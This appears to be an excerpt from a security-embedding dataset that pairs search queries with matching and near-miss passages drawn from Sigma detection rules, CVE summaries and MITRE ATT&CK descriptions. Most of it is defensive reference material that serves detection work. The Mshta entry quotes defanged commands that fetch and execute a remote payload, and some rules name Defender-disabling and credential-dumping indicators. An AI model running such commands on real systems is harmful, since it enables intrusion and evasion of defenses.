alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: detect Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delet in logs
Matching passage: Sigma rule: Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delet. Logsource: windows / process_creation. Rule: title: Suspicious Ping/Del Command Combination id: 54786ddc-5b8a-11ed-9b6a-0242ac120002 status: test description: Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delete the file in question. Its used to hide the file responsible for the initial infection for example references: - https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack - https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf - https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/ - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware author: Ilya Krestinichev date: 2022-11-03 modified: 2024-03-05 tags: - attack.stealth - attack.t1070.004 logsource: category: process_creation product: windows detection: selection_count: CommandLine|contains|windash: ' -n ' selection_nul: CommandLine|contains: Nul selection_del_param: CommandLine|contains|windash: - ' -f ' - ' -q ' selection_all: CommandLine|contains|all: - ping - 'del ' condition: all of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects appending of zip file to image. Logsource: linux / auditd. Rule: title: Steganography Hide Zip Information in Picture File id: 45810b50-7edc-42ca-813b-bdac02fb946b status: test description: Detects appending of zip file to image references: - https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/ author: Pawel Mazur date: 2021-09-09 modified: 2022-10-09 tags: - attack.stealth - attack.t1027.003 logsource: product: linux service: auditd detection: commands: type: EXECVE a0: cat a1: a1|endswith: - .jpg - .png a2: a2|endswith: .zip condition: commands and a1 and a2 falsepositives: - Unknown level: low
Query: Sigma rule for Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to do
Matching passage: Sigma rule: Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to do. Logsource: windows / process_creation. Rule: title: Remote File Download Via Desktopimgdownldr Utility id: 214641c2-c579-4ecb-8427-0cf19df6842e status: test description: Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil. references: - https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html author: Tim Rauch, Elastic (idea) date: 2022-09-27 tags: - attack.command-and-control - attack.t1105 logsource: category: process_creation product: windows detection: selection: Image|endswith: \desktopimgdownldr.exe ParentImage|endswith: \desktopimgdownldr.exe CommandLine|contains: /lockscreenurl:http condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects exploitation of LNK file command-line length discrepancy, where attackers hide malicious commands beyond the 260. Logsource: windows / process_creation. Rule: title: Suspicious LNK Command-Line Padding with Whitespace Characters id: dd8756e7-a3a0-4768-b47e-8f545d1a751c status: experimental description: 'Detects exploitation of LNK file command-line length discrepancy, where attackers hide malicious commands beyond the 260-character UI limit while the actual command-line argument field supports 4096 characters using whitespace padding (e.g., 0x20, 0x09-0x0D). Adversaries insert non-printable whitespace characters (e.g., Line Feed \x0A, Carriage Return \x0D) to pad the visible section of the LNK file, pushing malicious commands past the UI-visible boundary. The hidden payload, executed at runtime but invisible in Windows Explorer properties, enables stealthy execution and evasion—commonly used for social engineering attacks. This rule flags suspicious use of such padding observed in real-world attacks. ' references: - https://syedhasan010.medium.com/forensics-analysis-of-an-lnk-file-da68a98b8415 - https://thehackernews.com/2025/03/unpatched-windows-zero-day-flaw.html - https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-03-19 tags: - attack.initial-access - attack.execution - attack.t1204.002 logsource: category: process_creation product: windows detection: selection_img: - ParentImage|endswith: \explorer.exe - ParentCommandLine|contains: .lnk selection_cmd: - CommandLine|contains: - ' ' - \u0009 - \u000A - \u0011 - \u0012 - \u0013 - \u000B - \u000C - \u000D - CommandLine|re: \n\n\n\n\n\n condition: all of selection_* falsepositives: - Unknown level: high
Query: risk of Format string vulnerability in the zend_throw_or_error function in Zend/zend_execute_API.c in PHP 7.x before 7.0.1 allows remote attackers to execute arbitrary code via format stri
Matching passage: CVE-2015-8617. CWE: CWE-134. CVSS: 9.800000190734863. Format string vulnerability in the zend_throw_or_error function in Zend/zend_execute_API.c in PHP 7.x before 7.0.1 allows remote attackers to execute arbitrary code via format string specifiers in a string that is misused as a class name, leading to incorrect error handling.
Near-miss passage: CVE-2015-10088. CWE: CWE-134. CVSS: 8.100000381469727. A vulnerability, which was classified as critical, was found in ayttm up to 0.5.0.89. This affects the function http_connect in the library libproxy/proxy.c. The manipulation leads to format string. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The patch is named 40e04680018614a7d2b68566b261b061a0597046. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-222267.
Query: Persistence mechanism resembling Mshta
Matching passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Near-miss passage: T1218.003 CMSTP. Tactics: stealth. Description: Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
Query: Sigma rule for Detects the loading of unsigned .node files. Adversaries may abuse a lack of .node integrity checking to execute arbitra
Matching passage: Sigma rule: Detects the loading of unsigned .node files. Adversaries may abuse a lack of .node integrity checking to execute arbitra. Logsource: windows / image_load. Rule: title: Unsigned .node File Loaded id: e5f5c693-52d7-4de5-88ae-afbfbce85595 status: experimental description: 'Detects the loading of unsigned .node files. Adversaries may abuse a lack of .node integrity checking to execute arbitrary code inside of trusted applications such as Slack. .node files are native add-ons for Electron-based applications, which are commonly used for desktop applications like Slack, Discord, and Visual Studio Code. This technique has been observed in the DripLoader malware, which uses unsigned .node files to load malicious native code into Electron applications. ' references: - https://www.coreycburton.com/blog/driploader-case-study - https://github.com/CoreyCBurton/DripLoaderNG - https://www.electronjs.org/docs/latest/tutorial/native-code-and-electron author: Jonathan Beierle (@hullabrian) date: 2025-11-22 tags: - attack.execution - attack.privilege-escalation - attack.persistence - attack.stealth - attack.t1129 - attack.t1574.001 - attack.t1036.005 logsource: category: image_load product: windows detection: selection_node_extension: ImageLoaded|endswith: .node selection_status: - Signed: 'false' - SignatureStatus: Unavailable filter_optional_vscode_jupyter: Image|endswith: \Code.exe ImageLoaded|contains: .vscode\extensions\ms-toolsai.jupyter- ImageLoaded|endswith: - \electron.napi.node - \node.napi.glibc.node condition: all of selection_* and not 1 of filter_optional_* falsepositives: - VsCode extensions or similar legitimate tools might use unsigned .node files. These should be investigated on a case-by-case basis, and whitelisted if determined to be benign. level: medium
Near-miss passage: Sigma rule: Detect malicious GPO modifications can be used to implement many other malicious behaviors.. Logsource: windows / process_creation. Rule: title: Modify Group Policy Settings id: ada4b0c4-758b-46ac-9033-9004613a150d related: - id: b7216a7d-687e-4c8d-82b1-3080b2ad961f type: similar status: test description: Detect malicious GPO modifications can be used to implement many other malicious behaviors. references: - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md author: frack113 date: 2022-08-19 tags: - attack.privilege-escalation - attack.defense-impairment - attack.t1484.001 logsource: category: process_creation product: windows detection: selection_reg: - Image|endswith: \reg.exe - OriginalFileName: reg.exe selection_path: CommandLine|contains: \SOFTWARE\Policies\Microsoft\Windows\System selection_key: CommandLine|contains: - GroupPolicyRefreshTimeDC - GroupPolicyRefreshTimeOffsetDC - GroupPolicyRefreshTime - GroupPolicyRefreshTimeOffset - EnableSmartScreen - ShellSmartScreenLevel condition: all of selection_* falsepositives: - Legitimate use level: medium
Query: Sigma rule for Detects failed logon attempts from clients to MSSQL server.
Matching passage: Sigma rule: Detects failed logon attempts from clients to MSSQL server.. Logsource: windows / application. Rule: title: MSSQL Server Failed Logon id: 218d2855-2bba-4f61-9c85-81d0ea63ac71 related: - id: ebfe73c2-5bc9-4ed9-aaa8-8b54b2b4777d type: similar status: test description: Detects failed logon attempts from clients to MSSQL server. references: - https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/ - https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html author: Nasreddine Bencherchali (Nextron Systems), j4son date: 2023-10-11 modified: 2024-06-26 tags: - attack.credential-access - attack.t1110 logsource: product: windows service: application definition: 'Requirements: Must enable MSSQL authentication.' detection: selection: Provider_Name|contains: MSSQL EventID: 18456 condition: selection falsepositives: - This event could stem from users changing an account's password that's used to authenticate via a job or an automated process. Investigate the source of such events and mitigate them level: low
Near-miss passage: Sigma rule: Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.. Logsource: windows / process_access. Rule: title: Credential Dumping Activity By Python Based Tool id: f8be3e82-46a3-4e4e-ada5-8e538ae8b9c9 related: - id: 4b9a8556-99c4-470b-a40c-9c8d02c77ed0 type: obsolete - id: 7186e989-4ed7-4f4e-a656-4674b9e3e48b type: obsolete status: stable description: Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz. references: - https://twitter.com/bh4b3sh/status/1303674603819081728 - https://github.com/skelsec/pypykatz author: Bhabesh Raj, Jonhnathan Ribeiro date: 2023-11-27 modified: 2023-11-29 tags: - attack.credential-access - attack.t1003.001 - attack.s0349 logsource: category: process_access product: windows detection: selection: TargetImage|endswith: \lsass.exe CallTrace|contains|all: - _ctypes.pyd+ - :\Windows\System32\KERNELBASE.dll+ - :\Windows\SYSTEM32\ntdll.dll+ CallTrace|contains: - python27.dll+ - python3*.dll+ GrantedAccess: '0x1FFFFF' condition: selection falsepositives: - Unknown level: high
Query: patch priority for CVE-2015-4528
Matching passage: CVE-2015-4528. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in EMC Documentum CenterStage 1.2SP1 and 1.2SP2 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-0674. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in the Alert Service of Cisco Cloud Web Security base revision allows remote attackers to inject arbitrary web script or HTML via unspecified parameters.
Query: Sigma YAML for windows / security
Matching passage: Sigma rule: Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow co. Logsource: windows / security. Rule: title: Enabled User Right in AD to Control User Objects id: 311b6ce2-7890-4383-a8c2-663a9f6b43cd status: test description: Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects. references: - https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ author: '@neu5ron' date: 2017-07-30 modified: 2021-12-02 tags: - attack.privilege-escalation - attack.persistence - attack.t1098 logsource: product: windows service: security definition: 'Requirements: Audit Policy : Policy Change > Audit Authorization Policy Change, Group Policy : Computer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\Audit Policies\Policy Change\Audit Authorization Policy Change' detection: selection_base: EventID: 4704 selection_keywords: PrivilegeList|contains: SeEnableDelegationPrivilege condition: all of selection* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects attackers attempting to disable Windows Defender using Powershell. Logsource: windows / process_creation. Rule: title: Disable Windows Defender AV Security Monitoring id: a7ee1722-c3c5-aeff-3212-c777e4733217 status: test description: Detects attackers attempting to disable Windows Defender using Powershell references: - https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/ - https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/ - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md author: ok @securonix invrep-de, oscd.community, frack113 date: 2020-10-12 modified: 2022-11-18 tags: - attack.defense-impairment - attack.t1685 logsource: category: process_creation product: windows detection: selection_pwsh_binary: - Image|endswith: - \powershell.exe - \pwsh.exe - OriginalFileName: - PowerShell.EXE - pwsh.dll selection_pwsh_cli: CommandLine|contains: - -DisableBehaviorMonitoring $true - -DisableRuntimeMonitoring $true selection_sc_binary: - Image|endswith: \sc.exe - OriginalFileName: sc.exe selection_sc_tamper_cmd_stop: CommandLine|contains|all: - stop - WinDefend selection_sc_tamper_cmd_delete: CommandLine|contains|all: - delete - WinDefend selection_sc_tamper_cmd_disabled: CommandLine|contains|all: - config - WinDefend - start=disabled condition: all of selection_pwsh_* or (selection_sc_binary and 1 of selection_sc_tamper_*) falsepositives: - Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice. level: high
Query: patch priority for CVE-2015-0434
Matching passage: CVE-2015-0434. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in the Oracle Access Manager component in Oracle Fusion Middleware 11.1.1.5, 11.1.1.7, 11.1.2.1, and 11.1.2.2 allows remote attackers to affect confidentiality via vectors related to Integration with OAM.
Near-miss passage: CVE-2015-0436. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in the Oracle iLearning component in Oracle iLearning 6.0 and 6.1 allows remote attackers to affect confidentiality via unknown vectors related to Login.
Query: exploit lms/templates/footer-edx-new.html in Open edX edx-platform before 2015-01-29 does not properly restrict links on the password-reset page, which allows user-assisted remote attacker
Matching passage: CVE-2015-2286. CWE: CWE-200. CVSS: 6.5. lms/templates/footer-edx-new.html in Open edX edx-platform before 2015-01-29 does not properly restrict links on the password-reset page, which allows user-assisted remote attackers to discover password-reset tokens by reading a referer log after a victim navigates from this page to a social-sharing site.
Near-miss passage: CVE-2015-4077. CWE: CWE-200. CVSS: 2.0999999046325684. The (1) mdare64_48.sys, (2) mdare32_48.sys, (3) mdare32_52.sys, and (4) mdare64_52.sys drivers in Fortinet FortiClient before 5.2.4 allow local users to read arbitrary kernel memory via a 0x22608C ioctl call.
Query: vulnerability: Cross-site scripting (XSS) vulnerability in the Free Counter plugin 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the value_ parameter in a c
Matching passage: CVE-2015-4084. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in the Free Counter plugin 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the value_ parameter in a check_stat action to wp-admin/admin-ajax.php.
Near-miss passage: CVE-2015-3174. CWE: CWE-79. CVSS: 3.5. mod/quiz/db/access.php in Moodle through 2.5.9, 2.6.x before 2.6.11, 2.7.x before 2.7.8, and 2.8.x before 2.8.6 does not set the RISK_XSS bit for graders, which allows remote authenticated users to conduct cross-site scripting (XSS) attacks via crafted gradebook feedback during manual quiz grading.
Query: write Sigma for Detects when a user has potentially entered their password into the username field, which will cause the password to be
Matching passage: Sigma rule: Detects when a user has potentially entered their password into the username field, which will cause the password to be. Logsource: okta / okta. Rule: title: Potential Okta Password in AlternateID Field id: 91b76b84-8589-47aa-9605-c837583b82a9 status: test description: 'Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files. ' references: - https://developer.okta.com/docs/reference/api/system-log/ - https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data - https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm author: kelnage date: 2023-04-03 modified: 2026-04-27 tags: - attack.credential-access - attack.t1552 logsource: product: okta service: okta detection: selection: legacyEventType: core.user_auth.login_failed filter_main: actor.alternateId|re: (^0oa.*|[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,10}) condition: selection and not filter_main falsepositives: - Unlikely level: high
Near-miss passage: Sigma rule: Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due t. Logsource: linux / auditd. Rule: title: Screen Capture with Import Tool id: dbe4b9c5-c254-4258-9688-d6af0b7967fd status: test description: 'Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md - https://linux.die.net/man/1/import - https://imagemagick.org/ author: Pawel Mazur date: 2021-09-21 modified: 2022-10-09 tags: - attack.collection - attack.t1113 logsource: product: linux service: auditd detection: import: type: EXECVE a0: import import_window_root: a1: -window a2: root a3|endswith: - .png - .jpg - .jpeg import_no_window_root: a1|endswith: - .png - .jpg - .jpeg condition: import and (import_window_root or import_no_window_root) falsepositives: - Legitimate use of screenshot utility level: low
Query: CVE similar to CVE-2015-8314
Matching passage: CVE-2015-8314. CWE: CWE-312. CVSS: 7.5. The Devise gem before 3.5.4 for Ruby mishandles Remember Me cookies for sessions, which may allow an adversary to obtain unauthorized persistent application access.
Near-miss passage: CVE-2015-1012. CWE: CWE-312. CVSS: 7.5. Wireless keys are stored in plain text on version 5 of the Hospira LifeCare PCA Infusion System. According to Hospira, version 3 of the LifeCare PCA Infusion System is not indicated for wireless use, is not shipped with wireless capabilities, and should not be modified to be used in a wireless capacity in a clinical setting. Hospira has developed a new version of the PCS Infusion System, version 7.0 that addresses the identified vulnerabilities. Version 7.0 has Port 20/FTP and Port 23/TELNET closed by default to prevent unauthorized access.